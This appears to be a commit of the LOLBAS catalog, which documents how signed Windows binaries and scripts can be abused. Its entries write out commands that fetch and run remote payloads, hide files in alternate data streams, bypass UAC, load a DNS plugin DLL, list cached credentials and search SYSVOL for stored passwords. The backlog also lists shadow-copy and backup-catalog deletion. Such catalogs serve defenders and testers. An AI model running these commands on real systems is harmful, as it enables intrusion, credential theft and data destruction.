Initial commit - LOLBAS V2.0

Backlog.txt

@@ -0,0 +1,18 @@
+Ntsd.exe		Debugger
+Kd.exe			Debugger
+Certreq.exe		Exfiltrate data
+Dbghost.exe
+Robocopy.exe	Needs examples
+Vssadmin.exe	vssadmin.exe Delete Shadows /All /Quiet
+notepad.exe		Gui - Download files using Open (A lot of other programs as well) LOLGuiBins?
+wbadmin.exe 	wbadmin delete catalog -quiet
+psexec.exe		Remote execution of code
+java.exe		-agentpath:<dllname_with_dll_extension>  or   -agentlib:<dllname>
+WinMail.exe		DLL Sideloading
+odbcad32.exe	GUI DLL Loading
+WseClientSvc.exe	- https://blog.huntresslabs.com/abusing-trusted-applications-a719219220f
+dvdplay.exe		http://www.hexacorn.com/blog/2018/03/15/beyond-good-ol-run-key-part-73/
+http://www.hexacorn.com/blog/category/living-off-the-land/pass-thru-command-execution/
+https://twitter.com/Hexacorn/status/993498264497541120
+https://twitter.com/Hexacorn/status/994000792628719618
+https://github.com/MoooKitty/Code-Execution

Contribute.md

@@ -0,0 +1,36 @@
+Use this a Template for new binaries and scripts. 
+If you think it is hard to make a pull request using github, don't hasitate 
+to send me a tweet and I will add the contribution for you.
+
+## Binary.exe
+
+* Functions: Execute, Download, Copy, Read ADS, Write ADS, UACBypass, Search, Compile, Credentials, Surveillance
+
+```
+Example
+```
+
+Acknowledgements:
+* Name of guy - @twitterhandle
+
+Code sample:
+* [NameOfLink](Payload/NameOfPayload)
+
+Resources:
+* https://linktosomethingusefull.com
+
+Full path:
+```
+c:\windows\system32\binary.exe
+c:\windows\sysWOW64\binary.exe
+```
+
+Notes:
+Some specific details about the binary file.
+
+
+Detection:
+Details about detection.
+IOC, Behaviour , User Agents etc
+
+ 

LOLBins.md

@@ -0,0 +1,102 @@
+# LOLBins - Living Off The Land Binaries
+Please contribute and do point out errors or resources I have forgotten.
+If you are missing from the acknowledgement, please let me know (I did not forget anyone on purpose).    
+<img src="https://github.com/api0cradle/LOLBAS/raw/master/Logo/LOLBin.png" height="150">
+   
+# OS BINARIES
+[Atbroker.exe](OSBinaries/Atbroker.md)    
+[Bash.exe](OSBinaries/Bash.md)    
+[Bitsadmin.exe](OSBinaries/Bitsadmin.md)    
+[Certutil.exe](OSBinaries/Certutil.md)    
+[Cmdkey.exe](OSBinaries/Cmdkey.md)    
+[Cmstp.exe](OSBinaries/Cmstp.md)     
+[Control.exe](OSBinaries/Control.md)     
+[Csc.exe](OSBinaries/Csc.md)    
+[Cscript.exe](OSBinaries/Cscript.md)    
+[Dfsvc.exe](OSBinaries/Dfsvc.md)     
+[Diskshadow.exe](OSBinaries/Diskshadow.md)     
+[Dnscmd.exe](OSBinaries/Dnscmd.md)     
+[Esentutl.exe](OSBinaries/Esentutl.md)     
+[Extexport.exe](OSBinaries/Extexport.md)     
+[Extrac32.exe](OSBinaries/Extrac32.md)     
+[Expand.exe](OSBinaries/Expand.md)     
+[Explorer.exe](OSBinaries/Explorer.md)          
+[Findstr.exe](OSBinaries/Findstr.md)     
+[Forfiles.exe](OSBinaries/Forfiles.md)    
+[Gpscript.exe](OSBinaries/Gpscript.md)        
+[Hh.exe](OSBinaries/Hh.md)    
+[Ieexec.exe](OSBinaries/Ieexec.md)     
+[Ie4unit.exe](OSBinaries/Ie4unit.md)     
+[Infdefaultinstall.exe](OSBinaries/Infdefaultinstall.md)    
+[Installutil.exe](OSBinaries/Installutil.md)      
+[Makecab.exe](OSBinaries/Makecab.md)      
+[Mavinject.exe](OSBinaries/Mavinject.md)       
+[Msbuild.exe](OSBinaries/Msbuild.md)    
+[Msconfig.exe](OSBinaries/Msconfig.md)  
+[Msdt.exe](OSBinaries/Msdt.md)     
+[Mshta.exe](OSBinaries/Mshta.md)     
+[Msiexec.exe](OSBinaries/Msiexec.md)    
+[Netsh.exe](OSBinaries/Netsh.md)    
+[Nltest.exe](OSBinaries/Nltest.md)    
+[Odbcconf.exe](OSBinaries/Odbcconf.md)     
+[Openwith.exe](OSBinaries/Openwith.md)     
+[Pcalua.exe](OSBinaries/Pcalua.md)    
+[Pcwrun.exe](OSBinaries/Pcwrun.md)    
+[Powershell.exe](OSBinaries/Powershell.md)     
+[Presentationhost.exe](OSBinaries/Presentationhost.md)     
+[Print.exe](OSBinaries/Print.md)  
+[Psr.exe](OSBinaries/Psr.md)  
+[Reg.exe](OSBinaries/Reg.md)    
+[Regedit.exe](OSBinaries/Regedit.md)    
+[Regasm.exe](OSBinaries/Regasm.md)    
+[Register-cimprovider.exe](OSBinaries/Register-cimprovider.md)        
+[Regsvcs.exe](OSBinaries/Regsvcs.md)    
+[Regsvr32.exe](OSBinaries/Regsvr32.md)    
+[Replace.exe](OSBinaries/Replace.md)     
+[Robocopy.exe](OSBinaries/Robocopy.md)    
+[Rpcping.exe](OSBinaries/Rpcping.md)    
+[Rundll32.exe](OSBinaries/Rundll32.md)   
+[Runonce.exe](OSBinaries/Runonce.md)     
+[Runscripthelper.exe](OSBinaries/Runscripthelper.md)     
+[Sc.exe](OSBinaries/Sc.md)     
+[Scriptrunner.exe](OSBinaries/Scriptrunner.md)     
+[Syncappvpublishingserver.exe](OSBinaries/Syncappvpublishingserver.md)     
+[Wab.exe](OSBinaries/Wab.md)     
+[Wmic.exe](OSBinaries/Wmic.md)     
+[Wscript.exe](OSBinaries/Wscript.md)    
+[Xwizard.exe](OSBinaries/Xwizard.md)     
+   
+
+   
+# OTHER MICROSOFT SIGNED BINARIES
+[Appvlp.exe](OtherMSBinaries/Appvlp.md)    
+[Bginfo.exe](OtherMSBinaries/Bginfo.md)    
+[Cdb.exe](OtherMSBinaries/Cdb.md)    
+[Csi.exe](OtherMSBinaries/Csi.md)    
+[Dnx.exe](OtherMSBinaries/Dnx.md)   
+[Dxcap.exe](OtherMSBinaries/Dxcap.md)   
+[Mftrace.exe](OtherMSBinaries/Mftrace.md)     
+[Msdeploy.exe](OtherMSBinaries/Msdeploy.md)     
+[Msxsl.exe](OtherMSBinaries/Msxsl.md)    
+[Rcsi.exe](OtherMSBinaries/Rcsi.md)     
+[Sqldumper.exe](OtherMSBinaries/Sqldumper.md)     
+[Sqlps.exe](OtherMSBinaries/Sqlps.md)  
+[Sqltoolsps.exe](OtherMSBinaries/Sqltoolsps.md)   
+[Te.exe](OtherMSBinaries/Te.md)     
+[Tracker.exe](OtherMSBinaries/Tracker.md)  
+[Vsjitdebugger.exe](OtherMSBinaries/Vsjitdebugger.md)  
+[Winword.exe](OtherMSBinaries/Winword.md)    
+
+
+
+# OTHER NON MICROSOFT BINARIES
+[AcroRd32.exe](OtherBinaries/AcroRd32.md)    
+[Gpup.exe](OtherBinaries/Gpup.md)    
+[Nlnotes.exe](OtherBinaries/Nlnotes.md)     
+[Notes.exe](OtherBinaries/Notes.md)     
+[Nvuhda6.exe](OtherBinaries/Nvuhda6.md)     
+[Nvudisp.exe](OtherBinaries/Nvudisp.md)    
+[VBoxDrvInst.exe](OtherBinaries/VBoxDrvInst.md)     
+[Usbinst.exe](OtherBinaries/Usbinst.md)     
+[ROCCAT_Swarm.exe](OtherBinaries/ROCCAT_Swarm.md)     
+[Setup.exe](OtherBinaries/Setup.md) - Launches HP Installer for HP LaserJet Enterprise 700 color MFP M775 Printer Series Full Software and Drivers    

LOLLibs.md

@@ -0,0 +1,25 @@
+# LOLLibs - Living Off The Land Libraries
+Please contribute and do point out errors or resources I have forgotten.
+If you are missing from the acknowledgement, please let me know (I did not forget anyone on purpose).    
+<img src="https://github.com/api0cradle/LOLBAS/raw/master/Logo/LOLLib.png" height="150">
+   
+# OS LIBRARIES
+[Advpack.dll](OSLibraries/Advpack.md)    
+[Ieadvpack.dll](OSLibraries/Ieadvpack.md)    
+[Ieframe.dll](OSLibraries/Ieframe.md)    
+[Mshtml.dll](OSLibraries/Mshtml.md)    
+[Pcwutl.dll](OSLibraries/Pcwutl.md)    
+[Shdocvw.dll](OSLibraries/Shdocvw.md)    
+[Zipfldr.dll](OSLibraries/Zipfldr.md)    
+[Shell32.dll](OSLibraries/Shell32.md)    
+[Setupapi.dll](OSLibraries/Setupapi.md)    
+[Url.dll](OSLibraries/Url.md)    
+[Zipfldr.dll](OSLibraries/Zipfldr.md)    
+   
+# OTHER MICROSOFT SIGNED LIBRARIES
+
+
+# OTHER NON MICROSOFT LIBRARIES
+ 
+
+

LOLScripts.md

@@ -0,0 +1,23 @@
+# LOLScripts - Living Off The Land Scripts
+Please contribute and do point out errors or resources I have forgotten.
+If you are missing from the acknowledgement, please let me know (I did not forget anyone on purpose).    
+<img src="https://github.com/api0cradle/LOLBAS/raw/master/Logo/LOLScript.png" height="150">
+
+# OS SCRIPTS
+[Cl_invocation.ps1](OSScrits/Cl_invocation.md)       
+[CL_mutexverifiers.ps1](OSScripts/CL_mutexverifiers.md)       
+[Manage-bde.vbs](OSScripts/Manage-bde.md)     
+[pester.bat](OSScripts/pester.md)     
+[Pubprn.vbs](OSScripts/Pubprn.md)     
+[Slmgr.vbs](OSScripts/Slmgr.md)      
+[Syncappvpublishingserver.vbs](OSScripts/Syncappvpublishingserver.md)    
+[Winrm.vbs](OSScripts/Winrm.md)      
+
+
+
+# OTHER MICROSOFT SIGNED SCRIPTS
+
+
+
+# OTHER NON MICROSOFT BINARIES
+[Testxlst.js](OtherScripts/Testxlst.md)      

OSBinaries/Atbroker.yml

@@ -0,0 +1,20 @@
+---
+Name: Atbroker.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: ATBroker.exe /start malware
+    Description: Start a registered Assistive Technology (AT).
+Full Path:
+  - C:\Windows\System32\Atbroker.exe
+  - C:\Windows\SysWOW64\Atbroker.exe
+Code Sample: []
+Detection: []
+Resources:
+  - http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/
+Notes: >
+  Thanks to Adam - @hexacorn
+  Modifications must be made to the system registry to either register or modify an existing Assistibe Technology (AT) service entry.
+

OSBinaries/Bash.yml

@@ -0,0 +1,17 @@
+---
+Name: Bash.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: bash.exe -c calc.exe
+    Description: Execute calc.exe.
+Full Path:
+  - '?'
+Code Sample: []
+Detection: []
+Resources:
+  - ''
+Notes: Thanks to ?
+

OSBinaries/Bitsadmin.yml

@@ -0,0 +1,36 @@
+---
+Name: Bitsadmin.exe
+Description: Execute, Download, Copy, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: |
+          bitsadmin /create 1
+          bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe
+          bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL
+          bitsadmin /RESUME 1
+          bitsadmin /complete 1
+  - Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
+  - Command: |
+          bitsadmin /create 1
+          bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe
+          bitsadmin /RESUME 1
+          bitsadmin /complete 1
+    Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
+  - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset
+    Description: One-liner version that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
+  - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
+    Description: One-Liner version that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
+Full Path:
+  - c:\Windows\System32\bitsadmin.exe
+  - c:\Windows\SysWOW64\bitsadmin.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679
+    - Slide 53
+  - https://www.youtube.com/watch?v=_8xJaaQlpBo
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+Notes: Thanks to Rob Fuller - @mubix , Chris Gates - @carnal0wnage, Oddvar Moe - @oddvarmoe
+

OSBinaries/Certutil.yml

@@ -0,0 +1,25 @@
+---
+Name: Certutil.exe
+Description: Download, Add ADS, Decode, Encode
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
+    Description: Download and save 7zip to disk in the current folder.
+  - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
+    Description: Download and save a PS1 file to an Alternate Data Stream (ADS).
+  - Command: |
+          certutil -encode inputFileName encodedOutputFileName
+          certutil -decode encodedInputFileName decodedOutputFileName
+    Description: Commands to encode and decode a file using Base64.
+Full Path:
+  - c:\windows\system32\certutil.exe
+  - c:\windows\sysWOW64\certutil.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/Moriarty_Meng/status/984380793383370752
+  - https://twitter.com/mattifestation/status/620107926288515072
+Notes: Thanks to Matt Graeber - @mattifestation, Moriarty - @Moriarty2016
+

OSBinaries/Cmdkey.yml

@@ -0,0 +1,18 @@
+---
+Name: Cmdkey.exe
+Description: Credentials
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: cmdkey /list
+    Description: List cached credentials.
+Full Path:
+  - c:\windows\system32\cmdkey.exe
+  - c:\windows\sysWOW64\cmdkey.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
+Notes: ''
+

OSBinaries/Cmstp.yml

@@ -0,0 +1,26 @@
+---
+Name: Cmstp.exe
+Description: Execute, UACBypass
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
+    Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
+  - Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
+    Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
+Full Path:
+  - C:\Windows\system32\cmstp.exe
+  - C:\Windows\sysWOW64\cmstp.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/NickTyrer/status/958450014111633408
+  - https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
+  - https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
+  - https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
+  - https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
+    (UAC Bypass)
+  - https://github.com/hfiref0x/UACME
+Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer
+

OSBinaries/Control.yml

@@ -0,0 +1,21 @@
+---
+Name: Control.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: control.exe c:\windows\tasks\file.txt:evil.dll
+    Description: Execute evil.dll which is stored in an Alternate Data Stream (ADS).
+Full Path:
+  - 'C:\Windows\system32\control.exe    '
+  - 'C:\Windows\sysWOW64\control.exe     '
+Code Sample: []
+Detection: []
+Resources:
+  - https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
+  - https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/
+  - https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
+  - https://twitter.com/bohops/status/955659561008017409
+Notes: Thanks to Jimmy - @bohops
+

OSBinaries/Csc.yml

@@ -0,0 +1,21 @@
+---
+Name: Csc.exe
+Description: Compile
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: csc -out:My.exe File.cs
+    Description: Use CSC.EXE to compile C# code stored in File.cs and output the compiled version to My.exe.
+  - Command: csc -target:library File.cs
+    Description: ''
+Full Path:
+  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
+  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe
+  - ''
+Notes: Thanks to ?
+

OSBinaries/Cscript.yml

@@ -0,0 +1,19 @@
+---
+Name: Cscript.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: cscript c:\ads\file.txt:script.vbs
+    Description: Use cscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS).
+Full Path:
+  - c:\windows\system32\cscript.exe
+  - c:\windows\sysWOW64\cscript.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+Notes: Thanks to Oddvar Moe - @oddvarmoe
+

OSBinaries/Dfsvc.yml

@@ -0,0 +1,19 @@
+---
+Name: Dfsvc.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Missing Example
+    Description: ''
+Full Path:
+  - 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe     '
+  - 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe    '
+  - 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe    '
+  - 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe    '
+Code Sample: []
+Detection: []
+Resources:
+  - https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
+Notes: Thanks to Casey Smith - @subtee

OSBinaries/Diskshadow.yml

@@ -0,0 +1,20 @@
+---
+Name: Diskshadow.exe
+Description: Execute, Dump NTDS.dit
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: diskshadow.exe /s c:\test\diskshadow.txt
+    Description: Execute commands using diskshadow.exe from a prepared diskshadow script.
+  - Command: diskshadow> exec calc.exe
+    Description: Execute a calc.exe using diskshadow.exe.
+Full Path:
+  - c:\windows\system32\diskshadow.exe
+  - c:\windows\sysWOW64\diskshadow.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
+Notes: Thanks to Jimmy - @bohops
+

OSBinaries/Dns.yml

@@ -0,0 +1,27 @@
+---
+Name: Dnscmd.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
+    Description: 'Adds a specially crafted DLL as a plug-in of the DNS Service.'
+Full Path:
+  - c:\windows\system32\Dnscmd.exe
+  - c:\windows\sysWOW64\Dnscmd.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
+  - https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
+  - https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
+  - https://twitter.com/Hexacorn/status/994000792628719618
+  - http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
+Notes: |
+    This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the refference links for DLL details.
+    Thanks to Shay Ber - ?,
+    Dimitrios Slamaris - @dim0x69,
+    Nikhil SamratAshok,
+    Mittal - @nikhil_mitt
+

OSBinaries/Esentutl.yml

@@ -0,0 +1,28 @@
+---
+Name: Esentutl.exe
+Description: Copy, Download, Write ADS, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
+    Description: Copies the source VBS file to the destination VBS file.
+  - Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
+    Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
+  - Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
+    Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.
+  - Command: esentutl.exe /y \\82.221.113.85\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
+    Description: Copies the source EXE to the destination Alternate Data Stream (ADS) of the destination file.
+  - Command: esentutl.exe /y \\82.221.113.85\webdav\file.exe /d c:\ADS\file.exe /o
+    Description: Copies the source EXE to the destination EXE file.
+  - Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
+    Description: Copies the source EXE to the destination EXE file
+Full Path:
+  - c:\windows\system32\esentutl.exe
+  - c:\windows\sysWOW64\esentutl.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/egre55/status/985994639202283520
+Notes: Thanks to egre55 - @egre55
+

OSBinaries/Expand.yml

@@ -0,0 +1,23 @@
+---
+Name: Expand.exe
+Description: Download, Copy, Add ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: expand \\webdav\folder\file.bat c:\ADS\file.bat
+    Description: 'Copies source file to destination.'
+  - Command: expand c:\ADS\file1.bat c:\ADS\file2.bat
+    Description: 'Copies source file to destination.'
+  - Command: expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
+    Description: 'Copies source file to destination Alternate Data Stream (ADS).'
+Full Path:
+  - c:\windows\system32\Expand.exe
+  - c:\windows\sysWOW64\Expand.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/infosecn1nja/status/986628482858807297
+  - https://twitter.com/Oddvarmoe/status/986709068759949319
+Notes: Thanks to Rahmat Nurfauzi - @infosecn1nja, Oddvar Moe - @oddvarmoe
+

OSBinaries/Explorer.yml

@@ -0,0 +1,18 @@
+---
+Name: Explorer.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: explorer.exe calc.exe
+    Description: 'Executes calc.exe as a subprocess of explorer.exe.'
+Full Path:
+  - c:\windows\explorer.exe
+  - c:\windows\sysWOW64\explorer.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/bohops/status/986984122563391488
+Notes: Thanks to Jimmy - @bohops
+

OSBinaries/Extexport.yml

@@ -0,0 +1,18 @@
+---
+Name: Extexport.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Extexport.exe c:\test foo bar
+    Description: 'Load a DLL located in the c:\\test folder with one of the following names: mozcrt19.dll, mozsqlite3.dll, or sqlite.dll'
+Full Path:
+  - 'C:\Program Files\Internet Explorer\Extexport.exe    '
+  - C:\Program Files\Internet Explorer(x86)\Extexport.exe
+Code Sample: []
+Detection: []
+Resources:
+  - http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/
+Notes: Thanks to Adam - @hexacorn
+

OSBinaries/Extrac32.yml

@@ -0,0 +1,24 @@
+---
+Name: Extrac32.exe
+Description: Add ADS, Download
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
+    Description: 'Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.'
+  - Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
+    Description: 'Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.'
+  - Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
+    Description: 'Copy the source file to the destination file and overwrite it.'
+Full Path:
+  - c:\windows\system32\extrac32.exe
+  - c:\windows\sysWOW64\extrac32.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - https://twitter.com/egre55/status/985994639202283520
+Notes: Thanks to Oddvar Moe - @oddvarmoe, egre55 - @egre55
+

OSBinaries/Findstr.yml

@@ -0,0 +1,23 @@
+---
+Name: Findstr.exe
+Description: Add ADS, Search
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exe
+    Description: 'Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.'
+  - Command: findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
+    Description: 'Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.'
+  - Command: findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
+    Description: 'Search for stored password in Group Policy files stored on SYSVOL.'
+Full Path:
+  - c:\windows\system32\findstr.exe
+  - c:\windows\sysWOW64\findstr.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+Notes: Thanks to Oddvar Moe - @oddvarmoe
+

OSBinaries/Forfiles.yml

@@ -0,0 +1,22 @@
+---
+Name: Forfiles.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
+    Description: 'Executes calc.exe since there is a match for notepad.exe in the c:\\windows\\System32 folder.'
+  - Command: forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe"
+    Description: 'Executes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\\windows\\system32 folder.'
+Full Path:
+  - C:\Windows\system32\forfiles.exe
+  - C:\Windows\sysWOW64\forfiles.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/vector_sec/status/896049052642533376
+  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+Notes: Thanks to Eric - @vector_sec, Oddvar Moe - @oddvarmoe
+

OSBinaries/Gpscript.yml

@@ -0,0 +1,22 @@
+---
+Name: Gpscript.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Gpscript /logon
+    Description: 'Executes logon scripts configured in Group Policy.'
+  - Command: Gpscript /startup
+    Description: 'Executes startup scripts configured in Group Policy.'
+Full Path:
+  - c:\windows\system32\gpscript.exe
+  - c:\windows\sysWOW64\gpscript.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
+Notes: |
+    Thanks to Oddvar Moe - @oddvarmoe
+    Requires administrative rights and modifications to local group policy settings.
+

OSBinaries/Hh.yml

@@ -0,0 +1,23 @@
+---
+Name: hh.exe
+Description: Download, Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: HH.exe http://www.google.com
+    Description: Opens google's web page with HTML Help.
+  - Command: HH.exe C:\
+    Description: Opens c:\\ with HTML Help.
+  - Command: HH.exe c:\windows\system32\calc.exe
+    Description: 'Opens calc.exe with HTML Help.'
+  - Command: HH.exe http://some.url/script.ps1
+    Description: Open the target PowerShell script with HTML Help.
+Full Path:
+  - c:\windows\system32\hh.exe
+  - c:\windows\sysWOW64\hh.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
+Notes: Thanks to Oddvar Moe - @oddvarmoe

OSBinaries/Ie4unit.yml

@@ -0,0 +1,20 @@
+---
+Name: Ie4unit.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: ie4unit.exe -BaseSettings
+    Description: 'Executes commands from a specially prepared ie4uinit.inf file.'
+Full Path:
+  - 'c:\windows\system32\ie4unit.exe    '
+  - 'c:\windows\sysWOW64\ie4unit.exe    '
+  - 'c:\windows\system32\ieuinit.inf    '
+  - 'c:\windows\sysWOW64\ieuinit.inf    '
+Code Sample: []
+Detection: []
+Resources:
+  - https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
+Notes: Thanks to Jimmy - @bohops
+

OSBinaries/Ieexec.yml

@@ -0,0 +1,18 @@
+---
+Name: IEExec.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: ieexec.exe http://x.x.x.x:8080/bypass.exe
+    Description: 'Executes bypass.exe from the remote server.'
+Full Path:
+  - c:\windows\system32\ieexec.exe
+  - c:\windows\sysWOW64\ieexec.exe
+Code Sample: []
+Detection: []
+Resources:
